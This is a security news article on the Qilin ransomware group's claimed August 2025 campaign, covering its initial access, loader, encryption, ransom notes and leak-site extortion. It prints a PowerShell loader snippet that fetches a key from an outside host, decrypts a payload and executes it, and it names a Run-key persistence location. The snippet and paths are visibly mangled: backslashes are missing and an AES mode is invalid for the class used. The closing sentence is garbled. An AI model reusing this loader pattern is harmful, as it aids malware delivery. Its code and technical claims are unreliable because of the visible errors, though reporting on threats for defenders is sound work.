Qilin Led Ransomware Attack Claimed to Compromised 104 Organizations in August

The ransomware threat landscape witnessed a dramatic shift in August 2025 as the Qilin group claimed responsibility for 104 separate attacks worldwide.

Emerging earlier this year, Qilin quickly cemented its position through aggressive double-extortion tactics and a broad affiliate recruitment strategy.

Initial compromises have predominantly leveraged exposed Remote Desktop Protocol (RDP) servers and publicly facing VPN gateways, allowing affiliates to establish footholds before deploying the ransomware payload.

Across sectors—from manufacturing to professional services—victims reported sudden system encryption followed by data theft and extortion demands.

Cyble’s August threat landscape report highlights not only the volume of Qilin’s attacks but also the increasing sophistication of its tooling and campaigns.

Its affiliates exploit weak credentials and unpatched vulnerabilities to conduct initial reconnaissance. After lateral movement, the group executes a bespoke encryption binary, designed to target network-attached storage shares and critical file servers.

The global distribution of Qilin’s claimed victims shows the group’s reach across North America, Europe, and Asia.

Cyble analysts noted that Qilin’s payload employs a multi-stage loader, which decrypts the core ransomware executable at runtime using a dynamically generated AES key.

Once decrypted, the payload scans the local filesystem for predefined extensions—such as .docx, .xlsx, and .pdf—and applies AES-CTR encryption.

Following file encryption, Qilin writes ransom notes to each directory in a file named README_QILIN.txt. Victims are directed to a Tor-based payment portal and threatened with public data leaks if payment is not received.

In cases where organizations ignored demands, Qilin affiliates began publishing exfiltrated data on leak sites within 48 hours, accelerating the pressure on incident responders.

The rapid escalation of Qilin’s operations marks it as the most prolific ransomware group in August, nearly doubling the activity of its nearest competitor, Akira.

Beyond sheer volume, Qilin’s evolving toolkit—particularly its loader and encryption routines—demonstrates a concerted effort to evade detection and hinder remediation.

Infection Mechanism and Encryption Workflow

Qilin’s infection mechanism begins with an affiliate uploading a malicious ZIP archive, typically named to mimic legitimate software updates.

Upon execution, a PowerShell one-liner drops and launches a launcher binary (qlnldr.exe) in the %TEMP% directory. The launcher then performs the following steps:-

# Qilin loader snippet: decrypt and execute core ransomware
$encKey = (Invoke-WebRequest "http://malicious[.]site/key").Content
$encryptedPayload = Get-Content "$env:TEMPqln_core.bin" -AsByteStream
$decrypted = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$decrypted. Key = [Convert]::FromBase64String($encKey)
$decrypted. Mode="CTR"
$transform = $decrypted.CreateDecryptor()
$coreBytes = $transform.TransformFinalBlock($encryptedPayload, 0, $encryptedPayload.Length)
[System.IO.File]::WriteAllBytes("$env:TEMPqilin.exe", $coreBytes)
Start-Process "$env:TEMPqilin.exe"

Upon initialization, qilin.exe generates a unique AES session key, encrypts files across mapped drives, and exfiltrates sensitive documents over an HTTPS channel.

Persistence is achieved by registering the loader in the HKCUSoftwareMicrosoftWindowsCurrentVersionRun registry key, ensuring execution after reboot.

While the loader’s decryption sequence and registry persistence mechanism presents the visibility into Qilin’s infection chain and aiding defenders in crafting targeted detection rules.

Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant Updates.